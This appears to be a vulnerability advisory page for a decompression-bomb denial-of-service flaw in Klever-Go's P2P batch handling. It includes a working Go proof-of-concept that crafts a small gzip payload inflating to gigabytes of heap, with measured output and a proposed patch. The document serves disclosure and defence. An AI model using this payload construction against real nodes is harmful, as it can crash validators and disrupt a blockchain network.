GHSA-87m7-qffr-542v CVE-2026-44697 GO-2026-5246
Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload
- Severity
- 8.6 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 33.83% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
- None yet
- No fixed version published
Description
Summary
A remote, unauthenticated denial-of-service vulnerability in
Batch.Decompress (data/batch/batch.go) allows any peer that
participates in a topic served by MultiDataInterceptor to allocate
multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip
payload. A single packet is sufficient to OOM-kill a validator with
conventional memory provisioning. Fleet-wide application affects chain
liveness.
The vulnerability was identified during an internal security review of
core/process/interceptors/multiDataInterceptor.go at commit
405d01b0abbf0d3e73b4a990bd7394a01f200dc2. It is distinct from, and
substantially more severe than, the throttler-slot-leak vulnerability
disclosed in GHSA-74m6-4hjp-7226. Both reports cover adjacent code in
the same call path; the patches must land together in one release
(rc2 superseding rc1).
Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs.
Description
MultiDataInterceptor.ProcessReceivedMessage
(core/process/interceptors/multiDataInterceptor.go:79) handles every
gossip message received on the topics the interceptor is registered for.
At lines 95–102 it conditionally decompresses the payload via
Batch.Decompress:
if b.IsCompressed {
err = b.Decompress(mdi.marshalizer)
if err != nil { ... return err }
}
Batch.Decompress (data/batch/batch.go:109) delegates the gzip step to
decompressGzip (data/batch/batch.go:35-53), which performs an
unbounded io.ReadAll on the gzip reader:
func decompressGzip(data []byte) ([]byte, error) {
rdata := bytes.NewReader(data)
reader, err := gzip.NewReader(rdata)
if err != nil { return nil, err }
result, err := io.ReadAll(reader) // no LimitReader, no DataSize check
...
}
After the gzip step succeeds, Decompress re-Unmarshals the inflated
bytes back into the Batch value, again with no size cap. The
attacker-set ba.DataSize field is never validated on decompression, so
the lie is free.
The order of operations in ProcessReceivedMessage:
preProcessMessage -> anti-flood by COMPRESSED size only
marshalizer.Unmarshal(&b, ..) -> outer Batch (small, cheap)
b.Decompress(...) -> UNBOUNDED here (bomb explodes)
... b.Data populated with N entries ...
antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)
The count-budget anti-flood check at line 111 runs after Decompress
completes, so no anti-flood configuration can prevent the explosion. The
only gate above Decompress is preProcessMessage's byte budget, which
sees only the compressed payload size and is trivially satisfied by a
sub-MB bomb.
Proof of Concept
The PoC is a self-contained Go test that exercises the real
data/batch.Batch.Decompress function and the production
factory.ProtoMarshalizer. No mocks. Both the attacker-side construction
(marshal a Batch of millions of empty entries, gzip, wrap in an outer
compressed Batch) and the receiver-side path (mrs.Unmarshal →
received.Decompress(mrs)) are exactly what runs in production at the
reviewed commit.
The headline test (TestC2_DecompressionBomb_ValidInner) constructs a
~48 KiB outer wire payload that decompresses to 25 million []byte
entries, and samples runtime.HeapAlloc every 5 ms during Decompress
to capture the peak (since the inflated buffer is freed once Decompress
returns).
Test source
Place the file under playground/p2pflood/c2_decompression_bomb_test.go
in a checkout of the reviewed commit, then run:
go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...
package p2pflood_test
import (
"bytes"
"compress/gzip"
"runtime"
"sync/atomic"
"testing"
"time"
"github.com/klever-io/klever-go/data/batch"
"github.com/klever-io/klever-go/tools/marshal/factory"
)
const inflatedSize = 256 << 20 // 256 MiB
// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.
// A real attacker produces this offline; the streaming form here keeps
// the test's own attacker-side allocation small.
func buildGzipOfZeros(t *testing.T, size int) []byte {
t.Helper()
var buf bytes.Buffer
gz := gzip.NewWriter(&buf)
chunk := make([]byte, 1<<20)
for written := 0; written < size; {
n := len(chunk)
if size-written < n {
n = size - written
}
if _, err := gz.Write(chunk[:n]); err != nil {
t.Fatalf("gzip write: %v", err)
}
written += n
}
if err := gz.Close(); err != nil {
t.Fatalf("gzip close: %v", err)
}
return buf.Bytes()
}
// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and
// returns (peak, baseline). In-flight sampling is required because
// Decompress's internal allocations may be reclaimed by GC before the
// function returns.
func peakHeapDuring(fn func()) (peak, baseline uint64) {
runtime.GC()
var ms runtime.MemStats
runtime.ReadMemStats(&ms)
baseline = ms.HeapAlloc
var stop atomic.Bool
peakPtr := new(atomic.Uint64)
peakPtr.Store(baseline)
done := make(chan struct{})
go func() {
ticker := time.NewTicker(5 * time.Millisecond)
defer ticker.Stop()
var s runtime.MemStats
for !stop.Load() {
runtime.ReadMemStats(&s)
cur := s.HeapAlloc
for {
old := peakPtr.Load()
if cur <= old || peakPtr.CompareAndSwap(old, cur) {
break
}
}
<-ticker.C
}
close(done)
}()
fn()
stop.Store(true)
<-done
return peakPtr.Load(), baseline
}
// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.
// All-zeros inflated payload; inner Unmarshal-after-decompress fails,
// but the gzip output buffer is already allocated.
func TestC2_DecompressionBomb_RawZeros(t *testing.T) {
mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
if err != nil {
t.Fatalf("marshalizer: %v", err)
}
bombStream := buildGzipOfZeros(t, inflatedSize)
bomb := &batch.Batch{
IsCompressed: true,
Algo: batch.CType_GZip,
Stream: bombStream,
DataSize: 1, // a lie — Decompress ignores it
}
wire, err := mrs.Marshal(bomb)
if err != nil {
t.Fatalf("marshal: %v", err)
}
t.Logf(" wire payload (after Marshal): %d bytes (%.2f KiB)",
len(wire), float64(len(wire))/1024.0)
t.Logf(" advertised DataSize: %d", bomb.DataSize)
t.Logf(" actual decompressed size: %d bytes (%.2f MiB)",
inflatedSize, float64(inflatedSize)/(1<<20))
bomb = nil
bombStream = nil
runtime.GC()
received := &batch.Batch{}
if err := mrs.Unmarshal(received, wire); err != nil {
t.Fatalf("receiver outer unmarshal: %v", err)
}
if !received.IsCompressed {
t.Fatalf("expected IsCompressed=true after outer unmarshal")
}
start := time.Now()
var decompressErr error
peak, baseline := peakHeapDuring(func() {
decompressErr = received.Decompress(mrs)
})
elapsed := time.Since(start)
allocated := peak - baseline
amp := float64(allocated) / float64(len(wire))
t.Logf(" Decompress error: %v (irrelevant — heap already allocated)", decompressErr)
t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)",
allocated, float64(allocated)/(1<<20))
t.Logf(" elapsed: %v", elapsed)
t.Logf(" amplification: %.0fx (wire -> heap)", amp)
if allocated < uint64(inflatedSize/2) {
t.Fatalf("heap delta only %.2f MiB — vuln may already be patched",
float64(allocated)/(1<<20))
}
if amp < 100 {
t.Fatalf("amplification only %.1fx — expected >>100x", amp)
}
}
// TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream
// decompresses to a valid marshaled Batch with N=25M empty entries.
// Decompress's internal Unmarshal succeeds and additionally allocates
// the [][]byte slice. All before any count-based anti-flood runs.
func TestC2_DecompressionBomb_ValidInner(t *testing.T) {
mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
if err != nil {
t.Fatalf("marshalizer: %v", err)
}
const N = 25_000_000
innerBatch := &batch.Batch{Data: make([][]byte, N)}
innerWire, err := mrs.Marshal(innerBatch)
if err != nil {
t.Fatalf("inner marshal: %v", err)
}
innerBatch = nil
runtime.GC()
var compressed bytes.Buffer
gz := gzip.NewWriter(&compressed)
if _, err := gz.Write(innerWire); err != nil {
t.Fatalf("gz write: %v", err)
}
if err := gz.Close(); err != nil {
t.Fatalf("gz close: %v", err)
}
innerWireLen := len(innerWire)
innerWire = nil
runtime.GC()
bomb := &batch.Batch{
IsCompressed: true,
Algo: batch.CType_GZip,
Stream: compressed.Bytes(),
DataSize: 1,
}
wire, err := mrs.Marshal(bomb)
if err != nil {
t.Fatalf("outer marshal: %v", err)
}
t.Logf(" inner wire (uncompressed): %d bytes (%.2f MiB)",
innerWireLen, float64(innerWireLen)/(1<<20))
t.Logf(" outer wire (gzip-wrapped): %d bytes (%.2f KiB)",
len(wire), float64(len(wire))/1024.0)
t.Logf(" inner -> outer compression: %.0fx",
float64(innerWireLen)/float64(len(wire)))
bomb = nil
compressed.Reset()
runtime.GC()
received := &batch.Batch{}
if err := mrs.Unmarshal(received, wire); err != nil {
t.Fatalf("receiver outer unmarshal: %v", err)
}
start := time.Now()
var decompressErr error
peak, baseline := peakHeapDuring(func() {
// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the
// count-budget anti-flood at line 111.
decompressErr = received.Decompress(mrs)
})
elapsed := time.Since(start)
allocated := peak - baseline
amp := float64(allocated) / float64(len(wire))
t.Logf(" Decompress returned: %v", decompressErr)
t.Logf(" Decompressed b.Data length: %d (matches N=%d? %v)",
len(received.Data), N, len(received.Data) == N)
t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)",
allocated, float64(allocated)/(1<<20))
t.Logf(" elapsed: %v", elapsed)
t.Logf(" amplification: %.0fx (wire -> heap)", amp)
if decompressErr != nil {
t.Fatalf("Decompress unexpectedly failed: %v", decompressErr)
}
if len(received.Data) != N {
t.Fatalf("inner Unmarshal lost entries: got %d want %d",
len(received.Data), N)
}
if allocated < 256<<20 {
t.Fatalf("heap delta only %.2f MiB — expected >256 MiB",
float64(allocated)/(1<<20))
}
runtime.KeepAlive(received)
}
Measured output
Apple-silicon dev machine, go 1.25, against commit
405d01b0abbf0d3e73b4a990bd7394a01f200dc2:
=== RUN TestC2_DecompressionBomb_RawZeros
wire payload (after Marshal): 260938 bytes (254.82 KiB)
advertised DataSize: 1
actual decompressed size: 268435456 bytes (256.00 MiB)
Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated)
peak heap during Decompress: +887994584 bytes (846.86 MiB)
elapsed: 155.79ms
amplification: 3403x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)
=== RUN TestC2_DecompressionBomb_ValidInner
inner wire (uncompressed): 50000000 bytes (47.68 MiB)
outer wire (gzip-wrapped): 48642 bytes (47.50 KiB)
inner -> outer compression: 1028x
Decompress returned: <nil>
Decompressed b.Data length: 25000000 (matches N=25000000? true)
peak heap during Decompress: +2218262232 bytes (2115.50 MiB)
elapsed: 582.92ms
amplification: 45604x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)
Reproduction: any commit that includes data/batch/batch.go in its
current decompressGzip/Decompress form. The PoC does not depend on
libp2p, the live interceptor stack, or any deployed configuration — the
bug is in Batch.Decompress itself; any caller that reaches it pays
for the unbounded allocation.
The PoC sources (along with a companion test for the bundled
slice-prealloc finding) live under playground/p2pflood/ on the
maintainer's local workstation and have not been pushed to any branch.
They will be converted into a regression-test suite alongside the patch
in the private fork.
Impact
A single connected peer publishing on a topic served by
MultiDataInterceptor (which on a public chain includes any anonymous
gossip publisher) can cause the receiving node to allocate 2+ GiB of
heap in under one second per packet.
With the default deployed configuration
(peerMaxInput.totalSizePerInterval: 4194304 = 4 MiB/s per peer), an
attacker can ship roughly 80 such bombs per second per connected peer
before tripping the per-peer byte budget. The per-peer message count
limit (baseMessagesPerInterval: 140 per fastReacting interval, 1000
before blacklisting) is high enough to permit the attack to run for
several seconds before any blacklist activates. By that point the node
process is already OOM-killed.
Realistic attack scenarios:
- A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes).
- A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness.
- Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer.
Affected Code
data/batch/batch.go:35-53—decompressGzip, unboundedio.ReadAlldata/batch/batch.go:109-137—Batch.Decompress, ignoresDataSize, re-Unmarshals inflated bytescore/process/interceptors/multiDataInterceptor.go:95-102— call sitecore/process/interceptors/multiDataInterceptor.go:84-94— precedingUnmarshalstep
Patches
A patch is in preparation on a private branch and will land in rc2,
together with the fix for GHSA-74m6-4hjp-7226. The intended fix
shape:
const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic
func decompressGzip(data []byte, max int64) ([]byte, error) {
r, err := gzip.NewReader(bytes.NewReader(data))
if err != nil { return nil, err }
defer r.Close()
lr := io.LimitReader(r, max+1)
out, err := io.ReadAll(lr)
if err != nil { return nil, err }
if int64(len(out)) > max {
return nil, ErrDecompressionTooLarge
}
return out, nil
}
func (ba *Batch) Decompress(m marshal.Marshalizer) error {
if !ba.IsCompressed { return common.ErrNotCompressed }
if ba.DataSize > maxInflatedBatch {
return ErrDecompressionTooLarge
}
result, err := decompressGzip(ba.Stream, maxInflatedBatch)
if err != nil { return err }
if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 {
return ErrDecompressedSizeMismatch
}
if err := m.Unmarshal(ba, result); err != nil { return err }
ba.Stream, ba.IsCompressed = nil, false
return nil
}
The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack.
A regression test based on the PoC will accompany the patch.
Workarounds
None at the configuration level. The peerMaxInput.totalSizePerInterval
budget could theoretically be lowered, but as the PoC measurements show,
a single bomb is already lethal on memory-constrained nodes. Patch is
required.
Bundled Hardening (no separate CVE)
The following two issues were identified in the same call path during
the review. They are not independently exploitable under the default
deployed defaultMaxMessagesPerSec: 35000 per-topic anti-flood limit
and so do not warrant their own CVEs. They are remediated by the same
patch as the headline vulnerability and are documented here for
transparency.
Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770)
multiDataInterceptor.go:123 performs:
listInterceptedData := make([]process.InterceptedData, len(multiDataBuff))
len(multiDataBuff) is len(b.Data) after Unmarshal and Decompress,
both of which are attacker-controlled. Under the default per-topic
count budget this is bounded; a deployer who loosens that budget, or
any future code path that bypasses it, would expose ≈16 bytes ×
attacker-chosen-N of allocation. The same patch caps len(b.Data)
immediately after Unmarshal, again after Decompress, and before the
make.
The unconditional component of this finding — that Decompress's
internal Unmarshal populates b.Data with N []byte slice headers
(24 B each) before any count-budget check runs — is captured by the
headline finding's PoC.
Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693)
baseDataInterceptor.go:32 exempts messages from anti-flood enforcement
when:
bytes.Equal(m.Signature(), m.From()) &&
bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) &&
fromConnectedPeer == bdi.currentPeerID
The first equality is a sentinel byte comparison, not a cryptographic
check. Exploitability depends on whether the upstream libp2p stack
verifies envelope signatures before reaching preProcessMessage. The
patch replaces the sentinel with a defense-in-depth check and ensures
throttler accounting still runs on the self-message path.
Coordination with GHSA-74m6-4hjp-7226
The maintainer team is concurrently handling GHSA-74m6-4hjp-7226,
which discloses an adjacent throttler-slot-leak finding in the same
ProcessReceivedMessage function. The two CVEs are independently
fixable per CNA Operational Rules, but operationally the patches must
land in one release. rc2 will supersede rc1 and contain fixes for both
advisories. Validators upgrade once.
Credits
Fernando Sobreira (maintainer, internal security review).
References
- Reviewed commit:
405d01b0abbf0d3e73b4a990bd7394a01f200dc2 - Related advisory:
GHSA-74m6-4hjp-7226 - CWE-409: https://cwe.mitre.org/data/definitions/409.html
- CWE-770: https://cwe.mitre.org/data/definitions/770.html
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/klever-io/klever-go | <= 1.7.16 |
No fix yet |
| github.com/klever-io/klever-go | all versions |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 8.6
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7c7c-373r-gfjj Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery | High | Also affects github.com/klever-io/klever-go |
| GHSA-9wh6-9hq7-9688 Klever-Go: Validator registration accepts an unvalidated BLS public key → consensus liveness DoS | High | Also affects github.com/klever-io/klever-go |
| GHSA-26r5-4mm2-px5c Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace | High | Also affects github.com/klever-io/klever-go |
| GHSA-97cv-x867-6xhm Klever-Go Account takeover: `kleverUpdateAccountPermission` authorizes on attacker-controlled `RecipientAddr` instead of the authenticated caller | High | Also affects github.com/klever-io/klever-go |
| GHSA-4fwh-wrm6-97xm Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS) | High | Also affects github.com/klever-io/klever-go |
| GHSA-9v8p-frvj-2pcm Klever-Go: /log controls global node logging | High | Also affects github.com/klever-io/klever-go |
| GHSA-mrpp-v6pg-p54x klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply | High | Also affects github.com/klever-io/klever-go |
| GHSA-v358-wf77-39xv klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits | High | Also affects github.com/klever-io/klever-go |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor